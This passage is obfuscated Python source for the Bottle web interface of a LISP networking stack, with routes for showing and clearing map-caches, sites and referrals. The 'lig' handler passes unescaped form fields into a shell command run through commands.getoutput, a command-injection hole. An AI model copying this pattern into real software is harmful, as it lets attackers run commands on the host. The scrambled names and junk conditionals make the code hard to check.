IIIi1i1I = lispconfig . lisp_get_clause_for_api ( "lisp xtr-parameters" ) if ( IIIi1i1I [ 0 ] . has_key ( "lisp xtr-parameters" ) ) : OoO0OOOOo0O = [ ] for I1i1I in IIIi1i1I [ 0 ] [ "lisp xtr-parameters" ] : iii1I1Iii = I1i1I . keys ( ) [ 0 ] if ( iii1I1Iii in [ "data-plane-logging" , "flow-logging" ] ) : OoO0OOOOo0O . append ( { iii1I1Iii : "no" } ) else : OoO0OOOOo0O . append ( { iii1I1Iii : I1i1I [ iii1I1Iii ] } ) if 49 - 49: OOooOOo . I1ii11iIi11i . i11iIiiIii - II111iiii / Ii1I if 62 - 62: OOooOOo OoO0OOOOo0O = { "lisp xtr-parameters" : OoO0OOOOo0O } lispconfig . lisp_put_clause_for_api ( OoO0OOOOo0O ) if 1 - 1: IiII / IiII - i11iIiiIii if 87 - 87: Oo0Ooo / O0 * IiII / o0oOOo0O0Ooo return ( lispconfig . lisp_landing_page ( ) ) if 19 - 19: I1Ii111 + i1IIi . I1IiiI - Oo0Ooo if 16 - 16: oO0o + ooOoO0o / o0oOOo0O0Ooo if 82 - 82: IiII * i11iIiiIii % II111iiii - OoooooooOO if 90 - 90: Oo0Ooo . oO0o * i1IIi - i1IIi if 16 - 16: I1IiiI * i1IIi - o0oOOo0O0Ooo . IiII % I11i / o0oOOo0O0Ooo name = name . split ( "%" ) Ii11iI1ii1111 = name [ 0 ] Iii111II = name [ 1 ] if 42 - 42: I1Ii111 + I1Ii111 * II111iiii o0Oo = [ "data-plane-logging" , "flow-logging" ] if 57 - 57: OOooOOo / Oo0Ooo oO0O0Ooo = "lisp xtr-parameters" if ( Ii11iI1ii1111 in o0Oo ) else "lisp debug" if 4 - 4: II111iiii . I11i + Ii1I * I1Ii111 . ooOoO0o if 87 - 87: OoOoOO00 / OoO0O00 / i11iIiiIii IIIi1i1I = lispconfig . lisp_get_clause_for_api ( oO0O0Ooo ) if 74 - 74: oO0o / I1ii11iIi11i % o0oOOo0O0Ooo if ( IIIi1i1I [ 0 ] . has_key ( oO0O0Ooo ) ) : OoO0OOOOo0O = { } for I1i1I in IIIi1i1I [ 0 ] [ oO0O0Ooo ] : OoO0OOOOo0O [ I1i1I . keys ( ) [ 0 ] ] = I1i1I . values ( ) [ 0 ] if ( OoO0OOOOo0O . has_key ( Ii11iI1ii1111 ) ) : OoO0OOOOo0O [ Ii11iI1ii1111 ] = Iii111II if 88 - 88: OoOoOO00 - i11iIiiIii % o0oOOo0O0Ooo * I11i + I1ii11iIi11i OoO0OOOOo0O = { oO0O0Ooo : OoO0OOOOo0O } lispconfig . lisp_put_clause_for_api ( OoO0OOOOo0O ) if 52 - 52: II111iiii . I1IiiI + OoOoOO00 % OoO0O00 return ( lispconfig . lisp_landing_page ( ) ) if 62 - 62: o0oOOo0O0Ooo if 15 - 15: I11i + Ii1I . OOooOOo * OoO0O00 . OoOoOO00 if 18 - 18: i1IIi % II111iiii + I1Ii111 % Ii1I if 72 - 72: iIii1I11I1II1 if 45 - 45: Oo0Ooo - o0oOOo0O0Ooo % I1Ii111 if 38 - 38: I1Ii111 % OOooOOo - OoooooooOO if 87 - 87: OoO0O00 % I1IiiI @ bottle . route ( '/lisp/clear/<name>' ) @ bottle . route ( '/lisp/clear/etr/<etr_name>/<stats_name>' ) @ bottle . route ( '/lisp/clear/rtr/<rtr_name>/<stats_name>' ) @ bottle . route ( '/lisp/clear/itr/<itr_name>' ) @ bottle . route ( '/lisp/clear/rtr/<rtr_name>' ) def ooooOoO0O ( name = "" , itr_name = '' , rtr_name = "" , etr_name = "" , stats_name = "" ) : if 1 - 1: I1ii11iIi11i / OoO0O00 + oO0o . o0oOOo0O0Ooo / I1ii11iIi11i - iII111i if ( lispconfig . lisp_validate_user ( ) == False ) : return ( oOO00O ( ) ) if 5 - 5: OOooOOo if 4 - 4: iII111i % I1Ii111 / OoO0O00 . OOooOOo / OOooOOo - I1ii11iIi11i if 79 - 79: I1ii11iIi11i + I1Ii111 if 10 - 10: Oo0Ooo + O0 if 43 - 43: iIii1I11I1II1 / II111iiii % o0oOOo0O0Ooo - OOooOOo if ( lispconfig . lisp_is_user_superuser ( None ) == False ) : i1I1ii = lisp . lisp_print_sans ( "Not authorized" ) return ( lispconfig . lisp_show_wrapper ( i1I1ii ) ) if 62 - 62: I11i if 63 - 63: OOooOOo + ooOoO0o * oO0o / o0oOOo0O0Ooo / Oo0Ooo * iIii1I11I1II1 Oo0O00Oo0o0 = "clear" if ( name == "referral" ) : OOoO00ooO = "lisp-mr" I1IIIIiii1i = "Referral" elif ( itr_name == "map-cache" ) : OOoO00ooO = "lisp-itr" I1IIIIiii1i = "ITR <a href='/lisp/show/itr/map-cache'>map-cache</a>" elif ( rtr_name == "map-cache" ) : OOoO00ooO = "lisp-rtr" I1IIIIiii1i = "RTR <a href='/lisp/show/rtr/map-cache'>map-cache</a>" elif ( etr_name == "stats" ) : OOoO00ooO = "lisp-etr" I1IIIIiii1i = ( "ETR '{}' decapsulation <a href='/lisp/show/" + "database'>stats</a>" ) . format ( stats_name ) if 51 - 51: OOooOOo . I1IiiI Oo0O00Oo0o0 += "%" + stats_name elif ( rtr_name == "stats" ) : OOoO00ooO = "lisp-rtr" I1IIIIiii1i = ( "RTR '{}' decapsulation <a href='/lisp/show/" + "rtr/map-cache'>stats</a>" ) . format ( stats_name ) if 73 - 73: OoooooooOO . I1IiiI / I1Ii111 % Ii1I Oo0O00Oo0o0 += "%" + stats_name else : i1I1ii = lisp . lisp_print_sans ( "Invalid command" ) return ( lispconfig . lisp_show_wrapper ( i1I1ii ) ) if 65 - 65: IiII - I1IiiI - Ii1I if 42 - 42: II111iiii * I1IiiI % i1IIi - Ii1I % IiII if 36 - 36: i11iIiiIii / oO0o * I1ii11iIi11i * I1ii11iIi11i + Ii1I * I11i if 32 - 32: OoO0O00 if 50 - 50: ooOoO0o + i1IIi Oo0O00Oo0o0 = lisp . lisp_command_ipc ( Oo0O00Oo0o0 , "lisp-core" ) lisp . lisp_ipc ( Oo0O00Oo0o0 , Oo , OOoO00ooO ) if 31 - 31: Ii1I if 78 - 78: i11iIiiIii + o0oOOo0O0Ooo + I1Ii111 / o0oOOo0O0Ooo % iIii1I11I1II1 % IiII if 83 - 83: iIii1I11I1II1 % OoOoOO00 % o0oOOo0O0Ooo % I1Ii111 . I1ii11iIi11i % O0 if 47 - 47: o0oOOo0O0Ooo oo0ooooO = commands . getoutput ( "egrep 'lisp map-cache' ./lisp.config" ) if ( oo0ooooO != "" ) : os . system ( "touch ./lisp.config" ) if 12 - 12: II111iiii if 2 - 2: i1IIi - I1IiiI + I11i . II111iiii i1I1ii = lisp . lisp_print_sans ( "{} cleared" . format ( I1IIIIiii1i ) ) return ( lispconfig . lisp_show_wrapper ( i1I1ii ) ) if 25 - 25: oO0o if 34 - 34: OoOoOO00 . iIii1I11I1II1 % O0 if 43 - 43: I1ii11iIi11i - iII111i if 70 - 70: iII111i / OOooOOo % ooOoO0o - Ii1I if 47 - 47: iII111i if 92 - 92: OOooOOo + OoOoOO00 % i1IIi if 23 - 23: I1Ii111 - OOooOOo + Ii1I - OoOoOO00 * OoOoOO00 . Oo0Ooo @ bottle . route ( '/lisp/show/map-server' ) def iIii11iI1II ( ) : if ( lispconfig . lisp_validate_user ( ) == False ) : return ( oOO00O ( ) ) if 42 - 42: ooOoO0o - I1IiiI + I1ii11iIi11i % Ii1I if 44 - 44: i1IIi - O0 - I1ii11iIi11i * I1ii11iIi11i + OoOoOO00 return ( lispconfig . lisp_process_show_command ( Oo , "show map-server" ) ) if 56 - 56: ooOoO0o / iIii1I11I1II1 . Ii1I % OoOoOO00 + OOooOOo if 10 - 10: I1Ii111 * i11iIiiIii - iIii1I11I1II1 . Oo0Ooo - I1ii11iIi11i if 20 - 20: I1ii11iIi11i / I1IiiI * OoO0O00 * I1IiiI * O0 if 1 - 1: iIii1I11I1II1 + Oo0Ooo / O0 - iII111i % IiII + IiII if 24 - 24: I1IiiI + Oo0Ooo + OOooOOo - OoooooooOO + Oo0Ooo if 93 - 93: ooOoO0o . iIii1I11I1II1 % i11iIiiIii . OoOoOO00 % ooOoO0o + O0 if 65 - 65: Ii1I + OoO0O00 - OoooooooOO @ bottle . route ( '/lisp/show/database' ) def OOoOO0o ( ) : if ( lispconfig . lisp_validate_user ( ) == False ) : return ( oOO00O ( ) ) if 51 - 51: Oo0Ooo - I1ii11iIi11i * I11i return ( lispconfig . lisp_process_show_command ( Oo , "show database-mapping" ) ) if 12 - 12: iIii1I11I1II1 % ooOoO0o % ooOoO0o if 78 - 78: IiII . OoOoOO00 . I11i if 97 - 97: oO0o if 80 - 80: I1IiiI . Ii1I if 47 - 47: I11i + ooOoO0o + II111iiii % i11iIiiIii if 93 - 93: I1ii11iIi11i % OoOoOO00 . O0 / iII111i * oO0o if 29 - 29: o0oOOo0O0Ooo @ bottle . route ( '/lisp/show/itr/map-cache' ) def oo0iIiI ( ) : if ( lispconfig . lisp_validate_user ( ) == False ) : return ( oOO00O ( ) ) if 81 - 81: OoOoOO00 % Ii1I return ( lispconfig . lisp_process_show_command ( Oo , "show itr-map-cache" ) ) if 87 - 87: iIii1I11I1II1 . OoooooooOO * OoOoOO00 if 100 - 100: OoO0O00 / i1IIi - I1IiiI % Ii1I - iIii1I11I1II1 if 17 - 17: I11i / o0oOOo0O0Ooo % Oo0Ooo if 71 - 71: IiII . I1Ii111 . OoO0O00 if 68 - 68: i11iIiiIii % oO0o * OoO0O00 * IiII * II111iiii + O0 if 66 - 66: I11i % I1ii11iIi11i % OoooooooOO if 34 - 34: o0oOOo0O0Ooo / iII111i % O0 . OoO0O00 . i1IIi @ bottle . route ( '/lisp/show/itr/rloc-probing' ) def ii ( ) : if ( lispconfig . lisp_validate_user ( ) == False ) : return ( oOO00O ( ) ) if 94 - 94: ooOoO0o * I11i - IiII . iIii1I11I1II1 return ( lispconfig . lisp_process_show_command ( Oo , "show itr-rloc-probing" ) ) if 66 - 66: ooOoO0o - OOooOOo * OoOoOO00 / oO0o * II111iiii * OoO0O00 if 91 - 91: OoooooooOO / Ii1I . I1IiiI + ooOoO0o . II111iiii if 45 - 45: oO0o * OoOoOO00 / iIii1I11I1II1 if 77 - 77: I1Ii111 - I11i if 11 - 11: I1ii11iIi11i if 26 - 26: iIii1I11I1II1 * I1Ii111 - OOooOOo if 27 - 27: I1ii11iIi11i * I1Ii111 - OoO0O00 + Ii1I * Ii1I @ bottle . post ( '/lisp/show/itr/map-cache/lookup' ) def o0OO0O0OO0oO0 ( ) : if ( lispconfig . lisp_validate_user ( ) == False ) : return ( oOO00O ( ) ) if 9 - 9: oO0o % i11iIiiIii / Oo0Ooo if 20 - 20: oO0o * O0 + I11i - OoooooooOO . I11i oO = bottle . request . forms . get ( "eid" ) if ( lispconfig . lisp_validate_input_address_string ( oO ) == False ) : i1I1ii = "Address '{}' has invalid format" . format ( oO ) i1I1ii = lisp . lisp_print_sans ( i1I1ii ) return ( lispconfig . lisp_show_wrapper ( i1I1ii ) ) if 31 - 31: OoO0O00 * i11iIiiIii * Ii1I . i11iIiiIii if 12 - 12: OoOoOO00 % IiII % I1ii11iIi11i . i11iIiiIii * iIii1I11I1II1 OOoOO0o0o0 = "show itr-map-cache" + "%" + oO return ( lispconfig . lisp_process_show_command ( Oo , OOoOO0o0o0 ) ) if 66 - 66: i11iIiiIii * iIii1I11I1II1 % OoooooooOO if 5 - 5: OoOoOO00 % OoooooooOO if 60 - 60: OoOoOO00 . i1IIi % OoO0O00 % ooOoO0o % OOooOOo if 33 - 33: iIii1I11I1II1 - Ii1I * I1ii11iIi11i % iIii1I11I1II1 + OoO0O00 . OOooOOo if 56 - 56: i11iIiiIii * iII111i . oO0o if 78 - 78: OoOoOO00 if 1 - 1: OOooOOo . IiII @ bottle . route ( '/lisp/show/rtr/map-cache' ) @ bottle . route ( '/lisp/show/rtr/map-cache/<dns>' ) def I1iIII1IiiI ( dns = "" ) : if ( lispconfig . lisp_validate_user ( ) == False ) : return ( oOO00O ( ) ) if 96 - 96: I1IiiI % i1IIi . o0oOOo0O0Ooo . O0 if 37 - 37: i1IIi - OOooOOo % OoooooooOO / OOooOOo % ooOoO0o if ( dns == "dns" ) : return ( lispconfig . lisp_process_show_command ( Oo , "show rtr-map-cache-dns" ) ) else : return ( lispconfig . lisp_process_show_command ( Oo , "show rtr-map-cache" ) ) if 48 - 48: i11iIiiIii % oO0o if 29 - 29: iII111i + i11iIiiIii % I11i if 93 - 93: OoOoOO00 % iIii1I11I1II1 if 90 - 90: I1IiiI - OOooOOo / Ii1I / O0 / I11i if 87 - 87: OoOoOO00 / IiII + iIii1I11I1II1 if 93 - 93: iIii1I11I1II1 + oO0o % ooOoO0o if 21 - 21: OOooOOo if 6 - 6: IiII @ bottle . route ( '/lisp/show/rtr/rloc-probing' ) def i1I1II ( ) : if ( lispconfig . lisp_validate_user ( ) == False ) : return ( oOO00O ( ) ) if 17 - 17: O0 * OoOoOO00 * I1ii11iIi11i * II111iiii * I11i % i1IIi return ( lispconfig . lisp_process_show_command ( Oo , "show rtr-rloc-probing" ) ) if 33 - 33: I1ii11iIi11i * I1ii11iIi11i . ooOoO0o . i11iIiiIii if 48 - 48: o0oOOo0O0Ooo . Ii1I + OoOoOO00 % I1ii11iIi11i / i11iIiiIii if 74 - 74: II111iiii . O0 - I1IiiI + IiII % i11iIiiIii % OoOoOO00 if 78 - 78: Ii1I + OoOoOO00 + IiII - IiII . i11iIiiIii / OoO0O00 if 27 - 27: Ii1I - O0 % I11i * I1Ii111 . IiII % iIii1I11I1II1 if 37 - 37: OoooooooOO + O0 - i1IIi % ooOoO0o if 24 - 24: OoOoOO00 @ bottle . post ( '/lisp/show/rtr/map-cache/lookup' ) def Oo0oOo0ooOOOo ( ) : if ( lispconfig . lisp_validate_user ( ) == False ) : return ( oOO00O ( ) ) if 71 - 71: II111iiii - Ii1I - iII111i * O0 * IiII if 46 - 46: IiII oO = bottle . request . forms . get ( "eid" ) if ( lispconfig . lisp_validate_input_address_string ( oO ) == False ) : i1I1ii = "Address '{}' has invalid format" . format ( oO ) i1I1ii = lisp . lisp_print_sans ( i1I1ii ) return ( lispconfig . lisp_show_wrapper ( i1I1ii ) ) if 29 - 29: II111iiii . OoOoOO00 % o0oOOo0O0Ooo * II111iiii - o0oOOo0O0Ooo * iIii1I11I1II1 if 35 - 35: II111iiii - IiII . i1IIi OOoOO0o0o0 = "show rtr-map-cache" + "%" + oO return ( lispconfig . lisp_process_show_command ( Oo , OOoOO0o0o0 ) ) if 95 - 95: I1IiiI + I1IiiI - OOooOOo - iII111i if 45 - 45: Ii1I . OoooooooOO if 27 - 27: Ii1I * Oo0Ooo . OoOoOO00 if 17 - 17: II111iiii % iII111i * OOooOOo % i1IIi . I1IiiI . iIii1I11I1II1 if 27 - 27: i11iIiiIii - I1IiiI if 35 - 35: OoooooooOO - I1Ii111 / OoO0O00 if 50 - 50: OoOoOO00 @ bottle . route ( '/lisp/show/referral' ) def i1i1Ii11Ii ( ) : if ( lispconfig . lisp_validate_user ( ) == False ) : return ( oOO00O ( ) ) if 57 - 57: OOooOOo + I1Ii111 % I1ii11iIi11i . OoO0O00 / OoO0O00 * O0 return ( lispconfig . lisp_process_show_command ( Oo , "show referral-cache" ) ) if 6 - 6: i1IIi - II111iiii * o0oOOo0O0Ooo . OoO0O00 if 68 - 68: o0oOOo0O0Ooo if 20 - 20: I1Ii111 - I1Ii111 if 37 - 37: IiII if 37 - 37: Oo0Ooo / IiII * O0 if 73 - 73: iII111i * iII111i / ooOoO0o if 43 - 43: I1ii11iIi11i . i1IIi . IiII + O0 * Ii1I * O0 @ bottle . post ( '/lisp/show/referral/lookup' ) def II11ii ( ) : if ( lispconfig . lisp_validate_user ( ) == False ) : return ( oOO00O ( ) ) if 39 - 39: iII111i . I1IiiI * OoOoOO00 - i11iIiiIii if 1 - 1: iII111i * OoOoOO00 oO = bottle . request . forms . get ( "eid" ) if ( lispconfig . lisp_validate_input_address_string ( oO ) == False ) : i1I1ii = "Address '{}' has invalid format" . format ( oO ) i1I1ii = lisp . lisp_print_sans ( i1I1ii ) return ( lispconfig . lisp_show_wrapper ( i1I1ii ) ) if 66 - 66: OoOoOO00 + i1IIi % II111iiii . O0 * I1ii11iIi11i % I1ii11iIi11i if 87 - 87: OOooOOo + o0oOOo0O0Ooo . iII111i - OoooooooOO OOoOO0o0o0 = "show referral-cache" + "%" + oO return ( lispconfig . lisp_process_show_command ( Oo , OOoOO0o0o0 ) ) if 6 - 6: iIii1I11I1II1 * OoooooooOO if 28 - 28: Oo0Ooo * o0oOOo0O0Ooo / I1Ii111 if 52 - 52: O0 / o0oOOo0O0Ooo % iII111i * I1IiiI % OOooOOo if 69 - 69: I1ii11iIi11i if 83 - 83: o0oOOo0O0Ooo if 38 - 38: I1Ii111 + OoooooooOO . i1IIi if 19 - 19: iII111i - o0oOOo0O0Ooo - Ii1I - OoOoOO00 . iII111i . I1Ii111 @ bottle . route ( '/lisp/show/delegations' ) def i11I1I ( ) : if ( lispconfig . lisp_validate_user ( ) == False ) : return ( oOO00O ( ) ) if 71 - 71: iII111i return ( lispconfig . lisp_process_show_command ( Oo , "show delegations" ) ) if 23 - 23: i1IIi . iIii1I11I1II1 . OOooOOo . O0 % Ii1I % i11iIiiIii if 11 - 11: O0 - II111iiii . OOooOOo . Ii1I % I1Ii111 if 21 - 21: Oo0Ooo / iII111i . I1Ii111 * OoooooooOO + I11i - i1IIi if 58 - 58: I1ii11iIi11i if 2 - 2: II111iiii / I1Ii111 if 54 - 54: i1IIi . I11i - I1ii11iIi11i + ooOoO0o + Oo0Ooo / Oo0Ooo if 22 - 22: ooOoO0o . iIii1I11I1II1 @ bottle . post ( '/lisp/show/delegations/lookup' ) def i1IiiiiIi1I ( ) : if ( lispconfig . lisp_validate_user ( ) == False ) : return ( oOO00O ( ) ) if 56 - 56: OoooooooOO * O0 if 85 - 85: OoooooooOO % OoOoOO00 * iIii1I11I1II1 oO = bottle . request . forms . get ( "eid" ) if ( lispconfig . lisp_validate_input_address_string ( oO ) == False ) : i1I1ii = "Address '{}' has invalid format" . format ( oO ) i1I1ii = lisp . lisp_print_sans ( i1I1ii ) return ( lispconfig . lisp_show_wrapper ( i1I1ii ) ) if 44 - 44: iIii1I11I1II1 . I1ii11iIi11i + I1Ii111 . ooOoO0o if 7 - 7: I1ii11iIi11i + iIii1I11I1II1 * I11i * I11i / II111iiii - Ii1I OOoOO0o0o0 = "show delegations" + "%" + oO return ( lispconfig . lisp_process_show_command ( Oo , OOoOO0o0o0 ) ) if 65 - 65: oO0o + OoOoOO00 + II111iiii if 77 - 77: II111iiii if 50 - 50: O0 . O0 . ooOoO0o % Oo0Ooo if 68 - 68: oO0o if 10 - 10: Ii1I if 77 - 77: OOooOOo / II111iiii + IiII + ooOoO0o - i11iIiiIii if 44 - 44: I1IiiI + OoOoOO00 + I1ii11iIi11i . I1IiiI * OoOoOO00 % iIii1I11I1II1 if 72 - 72: OOooOOo . OOooOOo - I1ii11iIi11i if 48 - 48: Oo0Ooo - ooOoO0o + Oo0Ooo - I1IiiI * i11iIiiIii . iII111i @ bottle . route ( '/lisp/show/site' ) @ bottle . route ( '/lisp/show/site/<eid_prefix>' ) def I1 ( eid_prefix = "" ) : if ( lispconfig . lisp_validate_user ( ) == False ) : return ( oOO00O ( ) ) if 35 - 35: I1IiiI if 36 - 36: i1IIi - I1ii11iIi11i - I1Ii111 OOoOO0o0o0 = "show site" if 7 - 7: i11iIiiIii + I1IiiI if ( eid_prefix != "" ) : OOoOO0o0o0 = lispconfig . lisp_parse_eid_in_url ( OOoOO0o0o0 , eid_prefix ) if 47 - 47: I1Ii111 - OOooOOo / ooOoO0o - Oo0Ooo + iII111i - iIii1I11I1II1 return ( lispconfig . lisp_process_show_command ( Oo , OOoOO0o0o0 ) ) if 68 - 68: Ii1I - oO0o + Oo0Ooo if 44 - 44: Ii1I * o0oOOo0O0Ooo * II111iiii if 5 - 5: i1IIi + O0 % O0 * O0 + OoOoOO00 % i1IIi if 80 - 80: iII111i / o0oOOo0O0Ooo + OoO0O00 / oO0o if 46 - 46: i11iIiiIii / IiII % i1IIi - I11i * OoOoOO00 if 94 - 94: Ii1I - I1ii11iIi11i + o0oOOo0O0Ooo - Oo0Ooo if 15 - 15: OOooOOo @ bottle . route ( '/lisp/show/itr/dynamic-eid/<eid_prefix>' ) def i1iiI ( eid_prefix = "" ) : if ( lispconfig . lisp_validate_user ( ) == False ) : return ( oOO00O ( ) ) if 83 - 83: oO0o / iIii1I11I1II1 + i1IIi / iII111i if 47 - 47: oO0o + OoooooooOO . II111iiii . iII111i OOoOO0o0o0 = "show itr-dynamic-eid" if 66 - 66: ooOoO0o * OoOoOO00 if ( eid_prefix != "" ) : OOoOO0o0o0 = lispconfig . lisp_parse_eid_in_url ( OOoOO0o0o0 , eid_prefix ) if 2 - 2: oO0o . I1Ii111 * Oo0Ooo + O0 - I11i * iIii1I11I1II1 return ( lispconfig . lisp_process_show_command ( Oo , OOoOO0o0o0 ) ) if 12 - 12: o0oOOo0O0Ooo * I1Ii111 % II111iiii * i1IIi * iIii1I11I1II1 if 81 - 81: Oo0Ooo - I11i if 24 - 24: OoooooooOO . OoO0O00 * II111iiii if 59 - 59: I1Ii111 + OoO0O00 / OOooOOo if 97 - 97: Oo0Ooo * iII111i % ooOoO0o . iII111i - I1Ii111 - OOooOOo if 79 - 79: I1IiiI - ooOoO0o if 37 - 37: IiII . Oo0Ooo * Oo0Ooo * II111iiii * O0 @ bottle . route ( '/lisp/show/etr/dynamic-eid/<eid_prefix>' ) def o00OOo000O ( eid_prefix = "" ) : if ( lispconfig . lisp_validate_user ( ) == False ) : return ( oOO00O ( ) ) if 42 - 42: IiII % iII111i % o0oOOo0O0Ooo % oO0o + I11i % OoOoOO00 if 3 - 3: oO0o OOoOO0o0o0 = "show etr-dynamic-eid" if 64 - 64: OoO0O00 . I1IiiI - OoooooooOO . ooOoO0o - iII111i if ( eid_prefix != "" ) : OOoOO0o0o0 = lispconfig . lisp_parse_eid_in_url ( OOoOO0o0o0 , eid_prefix ) if 77 - 77: Ii1I % OoOoOO00 / II111iiii % iII111i % OoooooooOO % OoO0O00 return ( lispconfig . lisp_process_show_command ( Oo , OOoOO0o0o0 ) ) if 19 - 19: IiII * I1Ii111 / oO0o * I1Ii111 - OoooooooOO * I11i if 17 - 17: II111iiii + Oo0Ooo . I1Ii111 if 12 - 12: I1Ii111 + OOooOOo + I11i . IiII / Ii1I if 29 - 29: IiII . ooOoO0o - II111iiii if 68 - 68: iIii1I11I1II1 + II111iiii / oO0o if 91 - 91: OoOoOO00 % iIii1I11I1II1 . I1IiiI if 70 - 70: I11i % II111iiii % O0 . i1IIi / I1Ii111 @ bottle . post ( '/lisp/show/site/lookup' ) def OO0ooOoOO0OOo ( ) : if ( lispconfig . lisp_validate_user ( ) == False ) : return ( oOO00O ( ) ) if 51 - 51: iIii1I11I1II1 * o0oOOo0O0Ooo / iIii1I11I1II1 . iIii1I11I1II1 . iII111i * I11i if 93 - 93: oO0o * Ii1I oO = bottle . request . forms . get ( "eid" ) if ( lispconfig . lisp_validate_input_address_string ( oO ) == False ) : i1I1ii = "Address '{}' has invalid format" . format ( oO ) i1I1ii = lisp . lisp_print_sans ( i1I1ii ) return ( lispconfig . lisp_show_wrapper ( i1I1ii ) ) if 27 - 27: I1IiiI * ooOoO0o if 77 - 77: IiII OOoOO0o0o0 = "show site" + "%" + oO + "@lookup" return ( lispconfig . lisp_process_show_command ( Oo , OOoOO0o0o0 ) ) if 66 - 66: iIii1I11I1II1 . i11iIiiIii / I11i / ooOoO0o + I1Ii111 if 5 - 5: OoOoOO00 % iII111i + IiII if 13 - 13: IiII if 19 - 19: II111iiii - IiII if 59 - 59: o0oOOo0O0Ooo * OoO0O00 - Ii1I . OOooOOo if 89 - 89: OOooOOo if 69 - 69: ooOoO0o - OoooooooOO * O0 @ bottle . post ( '/lisp/lig' ) def O0Oo0O0 ( ) : if ( lispconfig . lisp_validate_user ( ) == False ) : return ( oOO00O ( ) ) if 33 - 33: ooOoO0o % i1IIi - oO0o . O0 / O0 if 96 - 96: OoooooooOO + IiII * O0 oo0OoOO0o0o = bottle . request . forms . get ( "eid" ) OO0OOO00 = bottle . request . forms . get ( "mr" ) ooOOo0o = bottle . request . forms . get ( "count" ) IiI1Iii1 = "no-info" if bottle . request . forms . get ( "no-nat" ) == "yes" else "" if 85 - 85: i11iIiiIii / i11iIiiIii . OoO0O00 . O0 if 67 - 67: II111iiii / o0oOOo0O0Ooo . OOooOOo . OoooooooOO if 19 - 19: IiII . I1ii11iIi11i / OoOoOO00 if 68 - 68: ooOoO0o / OoooooooOO * I11i / oO0o if ( OO0OOO00 == "" ) : OO0OOO00 = "localhost" if 88 - 88: o0oOOo0O0Ooo if 1 - 1: OoooooooOO if 48 - 48: ooOoO0o * OoOoOO00 - ooOoO0o - OOooOOo + OOooOOo if 40 - 40: i11iIiiIii . iIii1I11I1II1 if ( oo0OoOO0o0o == "" ) : i1I1ii = "Need to supply EID address" return ( lispconfig . lisp_show_wrapper ( lisp . lisp_print_cour ( i1I1ii ) ) ) if 2 - 2: i1IIi * oO0o - oO0o + OoooooooOO % OoOoOO00 / OoOoOO00 if 3 - 3: OoooooooOO O0OoO0o = "" if os . path . exists ( "lisp-lig.pyo" ) : O0OoO0o = "-O lisp-lig.pyo" if os . path . exists ( "lisp-lig.py" ) : O0OoO0o = "lisp-lig.py" if 1 - 1: ooOoO0o % I11i * I1ii11iIi11i - II111iiii if 49 - 49: oO0o - iII111i % OoOoOO00 if 72 - 72: I1IiiI + IiII . OoOoOO00 + OoOoOO00 if 94 - 94: i11iIiiIii % OoooooooOO / I1IiiI if ( O0OoO0o == "" ) : i1I1ii = "Cannot find lisp-lig.py or lisp-lig.pyo" return ( lispconfig . lisp_show_wrapper ( lisp . lisp_print_cour ( i1I1ii ) ) ) if 24 - 24: I1IiiI * oO0o if 85 - 85: II111iiii . ooOoO0o % OOooOOo % I11i if ( ooOOo0o != "" ) : ooOOo0o = "count {}" . format ( ooOOo0o ) if 80 - 80: oO0o * I11i / iIii1I11I1II1 % oO0o / iIii1I11I1II1 OOoOO0o0o0 = 'python {} "{}" to {} {} {}' . format ( O0OoO0o , oo0OoOO0o0o , OO0OOO00 , ooOOo0o , IiI1Iii1 ) if 42 - 42: i1IIi / i11iIiiIii . Oo0Ooo * iII111i . i11iIiiIii * O0 i1I1ii = commands . getoutput ( OOoOO0o0o0 ) i1I1ii = i1I1ii . replace ( "\n" , "<br>" ) i1I1ii = lisp . convert_font ( i1I1ii ) if 44 - 44: i1IIi . I1IiiI / i11iIiiIii + IiII iI111II1ii = lisp . space ( 2 ) + "RLOC:" i1I1ii = i1I1ii . replace ( "RLOC:" , iI111II1ii ) O0ooO00ooOO0o = lisp . space ( 2 ) + "Empty," i1I1ii = i1I1ii . replace ( "Empty," , O0ooO00ooOO0o ) I1i = lisp . space ( 4 ) + "geo:" i1I1ii = i1I1ii . replace ( "geo:" , I1i ) o0O = lisp . space ( 4 ) + "elp:" i1I1ii = i1I1ii . replace ( "elp:" , o0O ) I1II = lisp . space ( 4 ) + "rle:" i1I1ii = i1I1ii . replace ( "rle:" , I1II ) return ( lispconfig . lisp_show_wrapper ( lisp . lisp_print_cour ( i1I1ii ) ) ) if 9 - 9: Oo0Ooo % OoooooooOO - Ii1I if 43 - 43: OoO0O00 % OoO0O00 if 46 - 46: Oo0Ooo % iIii1I11I1II1 . iII111i . O0 * ooOoO0o / OoooooooOO if 7 - 7: oO0o - O0 * I11i - o0oOOo0O0Ooo - II111iiii if 41 - 41: I1IiiI - I1Ii111 % II111iiii . I1Ii111 - I11i if 45 - 45: Ii1I - OOooOOo if 70 - 70: OoO0O00 % I1IiiI / I1IiiI . I11i % ooOoO0o . II111iiii @ bottle . post ( '/lisp/rig' ) def I1ii1Ii1 ( ) : if ( lispconfig . lisp_validate_user ( ) == False ) : return ( oOO00O ( ) ) if 73 - 73: O0 . oO0o + i11iIiiIii + iIii1I11I1II1 - I11i / OoOoOO00 if 99 - 99: I1ii11iIi11i * oO0o * I1ii11iIi11i - II111iiii + Ii1I oo0OoOO0o0o = bottle . request . forms . get ( "eid" ) OOooO0Oo00 = bottle . request . forms . get ( "ddt" ) iIIIIIIIiIII = "follow-all-referrals" if bottle . request . forms . get ( "follow" ) == "yes" else "" if 94 - 94: iII111i * iIii1I11I1II1 . I11i if 13 - 13: iIii1I11I1II1 * OoOoOO00 / I1Ii111 % ooOoO0o + oO0o if 41 - 41: I1ii11iIi11i if 5 - 5: Oo0Ooo if 100 - 100: Ii1I + iIii1I11I1II1 if ( OOooO0Oo00 == "" ) : OOooO0Oo00 = "localhost" if 59 - 59: IiII if 89 - 89: OoOoOO00 % iIii1I11I1II1 if 35 - 35: I1ii11iIi11i + I1Ii111 - OoOoOO00 % oO0o % o0oOOo0O0Ooo % OoOoOO00 if 45 - 45: I1IiiI * OOooOOo % OoO0O00 if ( oo0OoOO0o0o == "" ) : i1I1ii = "Need to supply EID address" return ( lispconfig . lisp_show_wrapper ( lisp . lisp_print_cour ( i1I1ii ) ) ) if 24 - 24: ooOoO0o - I11i * oO0o if 87 - 87: Ii1I - I1ii11iIi11i % I1ii11iIi11i . oO0o / I1ii11iIi11i II1io0 = "" if os . path . exists ( "lisp-rig.pyo" ) : II1io0 = "-O lisp-rig.pyo" if os . path . exists ( "lisp-rig.py" ) : II1io0 = "lisp-rig.py" if 25 - 25: OoO0O00 * oO0o % i11iIiiIii + i11iIiiIii * OoO0O00 if 42 - 42: II111iiii / O0 . iIii1I11I1II1 / O0 / 